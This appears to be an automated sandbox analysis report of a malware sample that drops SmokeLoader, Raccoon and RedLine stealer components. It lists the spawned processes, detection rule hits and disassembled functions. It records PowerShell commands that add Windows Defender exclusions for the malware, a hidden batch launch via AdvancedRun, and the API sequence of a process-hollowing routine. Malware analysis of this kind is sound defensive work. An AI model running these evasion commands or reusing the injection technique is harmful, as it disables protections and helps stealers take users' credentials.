Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6f22f0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000000.394109827.0000000002801000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: esdfufc PID: 5704 Parent PID: 936

General

Start time:	17:54:57
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\esdfufc
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\esdfufc
Imagebase:	0x400000
File size:	347648 bytes
MD5 hash:	2BA5D1028F7BABCA366060BDE97BF482
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 8908.exe PID: 2288 Parent PID: 3440

General

Start time:	17:55:00
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\8908.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8908.exe
Imagebase:	0x400000
File size:	347648 bytes
MD5 hash:	2BA5D1028F7BABCA366060BDE97BF482
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: esdfufc PID: 6124 Parent PID: 5704

General

Start time:	17:55:08
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\esdfufc
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\esdfufc
Imagebase:	0x400000
File size:	347648 bytes
MD5 hash:	2BA5D1028F7BABCA366060BDE97BF482
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.482521678.00000000005A1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.482408758.00000000004F0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 8908.exe PID: 2940 Parent PID: 2288

General

Start time:	17:55:09
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\8908.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8908.exe
Imagebase:	0x400000
File size:	347648 bytes
MD5 hash:	2BA5D1028F7BABCA366060BDE97BF482
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 37D8.exe PID: 6468 Parent PID: 3440

General

Start time:	17:55:19
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\37D8.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\37D8.exe
Imagebase:	0xff0000
File size:	512512 bytes
MD5 hash:	F57B28AEC65D4691202B9524F84CC54A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp, Author: Joe Security Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\37D8.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 3FD8.exe PID: 5400 Parent PID: 3440

General

Start time:	17:55:21
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\3FD8.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3FD8.exe
Imagebase:	0x2f0000
File size:	22528 bytes
MD5 hash:	787AF677D0C317E8062B9705CB64F951
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\3FD8.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 22%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 4EDC.exe PID: 5004 Parent PID: 3440

General

Start time:	17:55:26
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\4EDC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4EDC.exe
Imagebase:	0x400000
File size:	212992 bytes
MD5 hash:	73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.530637179.0000000004B61000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.529516403.0000000003090000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000003.511213614.0000000003090000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 80%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 60DF.exe PID: 1768 Parent PID: 3440

General

Start time:	17:55:30
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\60DF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\60DF.exe
Imagebase:	0x440000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\60DF.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 43%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 5988 Parent PID: 6468

General

Start time:	17:55:32
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: 6E1E.exe PID: 6128 Parent PID: 3440

General

Start time:	17:55:35
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\6E1E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\6E1E.exe
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	31BE6099D31BDBF1ED339EFFDC1C7064
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001B.00000002.558722900.00000000048B0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001B.00000002.559098642.00000000049E1000.00000004.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 1916 Parent PID: 5988

General

Start time:	17:55:36
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /SpecialRun 4101d8 5988
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: E4D7.exe PID: 6552 Parent PID: 3440

General

Start time:	17:55:40
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\E4D7.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\E4D7.exe
Imagebase:	0x400000
File size:	602624 bytes
MD5 hash:	BB71D72E7391E33F98C1291C0F499BA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 0000001D.00000002.649599129.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 0000001D.00000003.553896826.00000000048E0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.600140112.0000000002D7E000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 5392 Parent PID: 6468

General

Start time:	17:55:44
Start date:	29/10/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force
Imagebase:	0xd30000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6248 Parent PID: 5392

General

Start time:	17:55:46
Start date:	29/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 780 Parent PID: 1768

General

Start time:	17:55:52
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs

Chronological Activities

Analysis Process: DataSvcUtil.exe PID: 6420 Parent PID: 6468

General

Start time:	17:55:55
Start date:	29/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
Imagebase:
File size:	71776 bytes
MD5 hash:	CCDF8F3B189FFB839B390F695FAE2A6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000022.00000000.568099425.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000022.00000000.568948579.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000022.00000000.566418529.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000022.00000002.638081498.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 5192 Parent PID: 780

General

Start time:	17:55:56
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /SpecialRun 4101d8 780
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 4836 Parent PID: 1768

General

Start time:	17:56:04
Start date:	29/10/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\60DF.exe' -Force
Imagebase:	0xd30000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 5032 Parent PID: 4836

General

Start time:	17:56:04
Start date:	29/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: csdfufc PID: 5092 Parent PID: 936

General

Start time:	17:56:07
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\csdfufc
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\csdfufc
Imagebase:	0x400000
File size:	212992 bytes
MD5 hash:	73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: B74C.exe PID: 4976 Parent PID: 3440

General

Start time:	17:56:08
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\B74C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B74C.exe
Imagebase:	0x400000
File size:	877568 bytes
MD5 hash:	3362B53647F312CD069D71E3662A9155
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: C651.exe PID: 3316 Parent PID: 3440

General

Start time:	17:56:11
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\C651.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C651.exe
Imagebase:	0x400000
File size:	278528 bytes
MD5 hash:	FA00DF47BCC5F9AD16ED71856FB6F4D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: SMSvcHost.exe PID: 5468 Parent PID: 6468

General

Start time:	17:56:13
Start date:	29/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
Imagebase:
File size:	136296 bytes
MD5 hash:	7EC8B56348F9298BCCA7A745C7F70E2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002A.00000002.634272090.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: D083.exe PID: 5524 Parent PID: 3440

General

Start time:	17:56:14
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\D083.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D083.exe
Imagebase:	0x720000
File size:	27576 bytes
MD5 hash:	FA6D8115D2266A121FE7C1552C0DDDFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: y8WngeDn4q.exe PID: 4892 Parent PID: 6112 y8WngeDn4q.exeCOMMON

Executed Functions

Function 04760110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04760156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0476016C
CreateProcessA.KERNELBASE(?,00000000), ref: 04760255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04760270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04760283
GetThreadContext.KERNELBASE(00000000,?), ref: 0476029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 047602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 047602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04760304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0476032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04760399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 047603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 047603E1
ResumeThread.KERNELBASE(00000000), ref: 047603ED
ExitProcess.KERNEL32(00000000), ref: 04760412

Memory Dump Source

Source File: 00000000.00000002.355299791.0000000004760000.00000040.00000001.sdmp, Offset: 04760000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: e561b517eba50842a96a4f1161611cd66609925c43810cd9b239c3e56a7ffdbb
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 57B1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB395D771AD45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04760420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 04760533

Strings

mfoaskdfnoa, xrefs: 04760520, 04760523
0, xrefs: 04760492
d, xrefs: 04760584
saodkfnosa9uin, xrefs: 047604DA

Memory Dump Source

Source File: 00000000.00000002.355299791.0000000004760000.00000040.00000001.sdmp, Offset: 04760000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: f7711b405ba4df4e77df0239127855a0af6f27d4a6451c3483654a95262353c1
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 3D510870D083C8DAEB11CBA8C849BDDBFB2AF11708F144058D9457F286C3BA6658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 047605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 047605EC

Strings

apfHQ, xrefs: 047605E2, 047605E5
o, xrefs: 04760600

Memory Dump Source

Source File: 00000000.00000002.355299791.0000000004760000.00000040.00000001.sdmp, Offset: 04760000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 08adb6586d40eedff418bb595af9dd5451a6988e8382c56acef62fa4cc7bb845
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 4701DE70C0428CEADB15DBA8C5587AEBFB6AF41308F1480D9C8593B342D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004248F0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041D2AB,?,?,00424A60), ref: 004248F7

Memory Dump Source

Source File: 00000000.00000002.354761060.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.354756336.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.354798572.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.355067778.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 74ebe90980ff84525567f3e1a00b41b8661479b10cc4bfab1013d10dc32df34a
Instruction ID: 55517b2789579e741b97ca7c1e2775b33a46f6c1eefcf645646359622b33a5cc
Opcode Fuzzy Hash: 74ebe90980ff84525567f3e1a00b41b8661479b10cc4bfab1013d10dc32df34a
Instruction Fuzzy Hash: 72A01132088208A3C2002282A80AB02BA0CC3CAB22F000020F20C0A0A20AB2A80280AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041CAF0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00421CC0(); // executed
				return L0041CB10(_t3, _t4);
			}

0x0041caf5
0x0041cb00

APIs

___security_init_cookie.LIBCMTD ref: 0041CAF5

Memory Dump Source

Source File: 00000000.00000002.354761060.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.354756336.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.354798572.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.355067778.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction ID: 4c18afce27419ee26c322df32de5c9bf3e271a84eecab90004b6a071cb69c07b
Opcode Fuzzy Hash: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction Fuzzy Hash: 07A00229388A9816415033A7385794A758D4CD07A87D5041A7518432171D5CBD5141AE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004266A0, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004266A0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43e494; // 0xa5b3bfa0
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ff40 = _t6;
				 *0x43ff3c = _t20;
				 *0x43ff38 = _t22;
				 *0x43ff34 = _t19;
				 *0x43ff30 = _t25;
				 *0x43ff2c = _t24;
				 *0x43ff58 = ss;
				 *0x43ff4c = cs;
				 *0x43ff28 = ds;
				 *0x43ff24 = es;
				 *0x43ff20 = fs;
				 *0x43ff1c = gs;
				asm("pushfd");
				_pop( *0x43ff50);
				 *0x43ff44 =  *_t29;
				 *0x43ff48 = _v0;
				 *0x43ff54 =  &_a4;
				 *0x43fe90 = 0x10001;
				_t11 =  *0x43ff48; // 0x0
				 *0x43fe44 = _t11;
				 *0x43fe38 = 0xc0000409;
				 *0x43fe3c = 1;
				_t21 =  *0x43e494; // 0xa5b3bfa0
				_v812 = _t21;
				_t23 =  *0x43e498; // 0x5a4c405f
				_v808 = _t23;
				 *0x43fe88 = IsDebuggerPresent();
				_push(1);
				E00426680(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x409f14);
				if( *0x43fe88 == 0) {
					_push(1);
					E00426680(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x004266a0
0x004266a0
0x004266a0
0x004266a0
0x004266a0
0x004266a0
0x004266a0
0x004266a6
0x004266a8
0x004266a8
0x0042ec0b
0x0042ec10
0x0042ec16
0x0042ec1c
0x0042ec22
0x0042ec28
0x0042ec2e
0x0042ec35
0x0042ec3c
0x0042ec43
0x0042ec4a
0x0042ec51
0x0042ec58
0x0042ec59
0x0042ec62
0x0042ec6a
0x0042ec72
0x0042ec7d
0x0042ec87
0x0042ec8c
0x0042ec91
0x0042ec9b
0x0042eca5
0x0042ecab
0x0042ecb1
0x0042ecb7
0x0042ecc3
0x0042ecc8
0x0042ecca
0x0042ecd4
0x0042ecdf
0x0042ecec
0x0042ecee
0x0042ecf0
0x0042ecf5
0x0042ed0d

APIs

IsDebuggerPresent.KERNEL32 ref: 0042ECBD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042ECD4
UnhandledExceptionFilter.KERNEL32(00409F14), ref: 0042ECDF
GetCurrentProcess.KERNEL32(C0000409), ref: 0042ECFD
TerminateProcess.KERNEL32(00000000), ref: 0042ED04

Memory Dump Source

Source File: 00000000.00000002.354761060.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.354756336.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.354798572.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.355067778.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1ea6f86a7c111197b8bdf7dfa4713be2a9a2f53c2d50d4b1d35e6b3b6dc60ea6
Instruction ID: a665b24862f6fd17f8ecd74432fc1c53978e323c3e5034f260c1264bca5f0225
Opcode Fuzzy Hash: 1ea6f86a7c111197b8bdf7dfa4713be2a9a2f53c2d50d4b1d35e6b3b6dc60ea6
Instruction Fuzzy Hash: E7211EB9D002009BC300DF65FA866483BA0BB1E314F60207BED08973B2E7B45989CF4E

Uniqueness

Uniqueness Score: -1.00%

Function 04760042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.355299791.0000000004760000.00000040.00000001.sdmp, Offset: 04760000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: c6918b0f0ded4f80f1d23448dfd4c6ce56fa368a08d12da8a1ea0f08f21e933f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: A6118E72340100AFEB54DF65DC94FA673EAEB88224B198565ED09CB312E676E801CB60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: y8WngeDn4q.exe PID: 6372 Parent PID: 4892 y8WngeDn4q.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.411750880.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

